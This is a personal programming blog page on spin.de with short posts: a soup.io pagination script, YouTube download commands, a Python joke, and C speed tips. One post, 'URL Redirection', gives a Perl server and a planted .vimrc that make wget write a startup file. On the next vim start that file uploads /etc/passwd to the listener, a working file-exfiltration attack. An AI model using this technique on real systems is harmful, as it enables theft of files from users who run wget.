btwotch    

, Deutschland · männlich · registriert seit 2008 · heute zuletzt online


mailto, against spam!

End of the soup(.io)

Sonstiges ·


    1 #!/bin/bash
    2 
    3 URL=$1
    4 NURL=$URL
    5 ID=0
    6 
    7 while :
    8 do
    9         ID=$(curl $NURL -L 2> /dev/null | perl -lane 'if ($_ =~
   10            /href=\"\/since\/(.*)\?.*SOUP/i) { print $1;}')
   11         NURL="$URL/since/$ID/"
   12         if (test -z "$ID" ) then
   13                 break
   14         fi
   15         echo $NURL
   16 done

Usage: bash end.sh http://btwotch.soup.io

20. September 2010 03:52

Tags:  ·  ·  ·  ·  ·

Downloading youtube videos demystified

Sonstiges ·

This is based on: http://www.commandlinefu.com/commands/view/6596/stream-youtube-url-directly-to-mplayer.?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed:+Command-line-fu+(Command-Line-Fu)


Problem: You want to download http://www.youtube.com/watch?v=L168R_tNG9w
Solution:

  •  curl -L 'http://www.youtube.com/watch?v=L168R_tNG9w' | ack '&t=' (of course you can use 'grep', but ack is just better ;)
    you find something like:
    ... &t=vjVQa1PpcFNLjdlBeekYJHOrh3eDXkjsqWo2pUCMt8o%3D&rv.6 ...
  • now your download url is: http://youtube.com/get_video.php?&video_id=L168R_tNG9w&t=vjVQa1PpcFNLjdlBeekYJHOrh3eDXkjsqWo2pUCMt8o%3D&asv=&fmt=22
  • download it:  curl -L -o rc4.avi 'http://youtube.com/get_video.php?&video_id=L168R_tNG9w&t=vjVQa1PpcFNLjdlBeekYJHOrh3eDXkjsqWo2pUCMt8o%3D&asv=&fmt=22'
20. September 2010 01:45

Tags:  ·  ·

Python - my first 'Hello World'

Technologie / Wissenschaft · · 3 Kommentare

So, what's Python?

(pronounced: peithoon)
Here some attributes of Python:

  • fast
  • no braces
  • no indentation
  • unreadable code
  • unwritable code
  • inpronouncable
  • just snaky

I always thought, I have to play the computer like this person:


python - omg


BUT that's not true.
So, to install python, you just start cpan and install Acme::Python

As I mentioned before, python is unwritable, so we first write perl code to transfer that into python code; lets begin with an easy 'Hello-World' example:

    1 use Acme::Python;
    2 
    3 print 'hello world';

Now we start that script via:  perl example.pl
At first startup it converts the perl code into python code in place in the example.pl file.
So, our first python code:

    1 use Acme::Python;
    2 Hisssssssssssssssss
    3 hiss Hiss hiss Hiss hisssssssss Hissss hisss
    4 Hiss hisss Hissss hiss Hiss hisss Hiss hiss
    5 Hisss hisss Hissss hiss Hisss hissss Hiss
    6 hiss Hissss hisssssss Hiss hisss Hissss hisss
    7 Hiss hissssss Hiss hiss Hisss hiss Hiss hiss
    8 Hiss hisss Hisss hissss Hisss hiss Hisss
    9 hissss Hisss hiss Hisss hiss Hisssss hiss
   10 Hisss hisssssss Hiss hisss Hissss hiss Hissss
   11 hiss Hisssss hiss Hisss hisss Hiss hisss
   12 Hissss hissss Hisss hiss Hisss hissss Hiss
   13 hisss Hisss hiss Hissss hisss Hiss hisss
   14 Hisss hiss Hissss hissss Hiss hiss Hiss hisssss

To start the program, just run perl example.pl once again:

hello world

Congratulations you just finished your first python program
Next week, I'll show you how to create a cyborg-hybrid-army.

11. September 2010 18:46

Tags:  ·

Speedup via Format String

Computer · · 1 Kommentar

Gegeben ein String:

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

Aber es sollen nur die ersten 213 Zeichen ausgegeben werden:

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.

Intuitive Loesung: mit einer for-Schleife die ersten 213 Zeichen ausgeben
Bessere Loesung: printf mit %.*s Format


Beispiel:

    1 #include <stdio.h>
    2 
    3 int main()
    4 {
    5   int i, j;
    6   char txt[] = "Lorem ipsum dolor sit amet, consetetur sadipscing elitr,
    7                sed diam nonumy eirmod tempor invidunt ut labore et dolore
    8                magna aliquyam erat, sed diam voluptua. At vero eos et
    9                accusam et justo duo dolores et ea rebum. Stet clita kasd
   10                gubergren, no sea takimata sanctus est Lorem ipsum dolor sit
   11                amet.";
   12 
   13 #ifdef TEST1
   14   for (j = 0; j < 1000000; j++)
   15     for (i = 0; i < 213; i++)
   16       printf("%c", txt[i]);
   17 #endif
   18 
   19 #ifdef TEST2
   20   for (j = 0; j < 1000000; j++)
   21     printf("%.*s", 213, txt);
   22 #endif
   23 }

Test1:

gcc -DTEST1 test.c && time ./a.out > /dev/null

real 0m2.850s
user 0m2.804s
sys 0m0.006s

Test2:

gcc -DTEST2 test.c && time ./a.out > /dev/null

real 0m0.220s
user 0m0.210s
sys 0m0.009s

07. September 2010 06:58

Tags:  ·  ·  ·

Code fast 100% schneller

Sonstiges ·

Vorher:

Each sample counts as 0.01 seconds.
% cumulative self self total
time seconds seconds calls us/call us/call name
100.16 0.01 0.01 6268 1.60 1.60 __join_together

100,16% der Zeit verbringt das Programm mit __join_together

    1 static char *__join_together(char *a, char *b, int len_b)
    2 {
    3   int len = len_b+1;
    4   int len_a = 0;
    5   int i;
    6   char *txt;
    7 
    8   if (a != NULL)
    9     len_a = strlen(a);
   10 
   11   len += len_a;
   12 
   13   txt = malloc(sizeof(char)*len);
   14 
   15   for (i = 0; i < len_a; i++)
   16     txt[i] = a[i];
   17 
   18   for (i = 0; i < len_b; i++)
   19     txt[i+len_a] = b[i];
   20 
   21   txt[len-1] = '\0';
   22 
   23   if (a != NULL)
   24     free(a);
   25 
   26   return txt;
   27 }

Nacher:

% cumulative self self total
time seconds seconds calls Ts/call Ts/call name
0.00 0.00 0.00 6598 0.00 0.00 __join_together

0% der Zeit wird fuer __join_together benoetigt (naja, gerundet ...)

    1 static char *__join_together(char *a, char *b, int len_b)
    2 {
    3   int len_a = 0;
    4   int i;
    5   char *new;
    6 
    7   if (a != NULL)
    8     len_a += strlen(a);
    9 
   10   new = realloc(a, len_b+1+len_a);
   11 
   12   if (new != NULL)
   13     for (i = 0; i < len_b; i++)
   14       new[i+len_a] = b[i];
   15 
   16 
   17   new[len_a+len_b] = '\0';
   18 
   19   return new;
   20 }
05. September 2010 23:16

Tags:  ·  ·  ·  ·  ·

URL Redirection

Computer · · 2 Kommentare

Wget kann Dateien erstellen. Idee: Wir lassen wget eine .vimrc erstellen, die bei dem naechsten vim-Start die Datei /etc/passwd uploadet: (eigentlich alles total trivial)

    1 use HTTP::Daemon;
    2 use HTTP::Status;
    3 my $d = new HTTP::Daemon(LocalPort => 8080, ReuseAddr => 1);
    4 print "Please contact me at: <URL:", $d->url, ">\n";
    5 print "Run: wget ", $d->url,"foobar\n";
    6 while (my $c = $d->accept) {
    7         while (my $r = $c->get_request) {
    8                 if ($r->method eq 'GET' and $r->url->path eq "/foobar") {
    9                         $c->send_redirect(".vimrc");
   10                 }
   11                 if ($r->method eq 'GET' and $r->url->path eq "/.vimrc") {
   12                         $c->send_file_response("evil");
   13                 }
   14                 if ($r->method eq 'POST' and $r->url->path eq "/passwd") {
   15                         print "POST-REQ\n";
   16                         print $r->content;
   17                         $c->send_error();
   18                 }
   19         }
   20         $c->close;
   21         undef($c);
   22 }

Dazu wird noch eine Datei 'evil' benoetigt:

! wget –post-file=/etc/passwd http://localhost:8080/passwd > /dev/null 2>/dev/null

Nun einfach in $HOME ausfuehren:

  • wget http://erebos:8080/foobar
  • vim
22. Januar 2012 06:12

Tags:  ·  ·  ·  ·  ·

Blog durchsuchen
(nur öffentliche Einträge)

Willst du auch bloggen?
Kostenlos bloggen bei Spin.de
Diese Seite ist eine auf spin.de gelagerte persönliche Homepage, deren Verantwortlichkeit beim Nutzer liegt.
spin.de ist eine große Online-Community mit Chat, Blogs, Foren, Online-Spielen und vielem mehr.
Deine eigene Homepage mit Blog und Gästebuch

Impressum · Datenschutz · Sitemap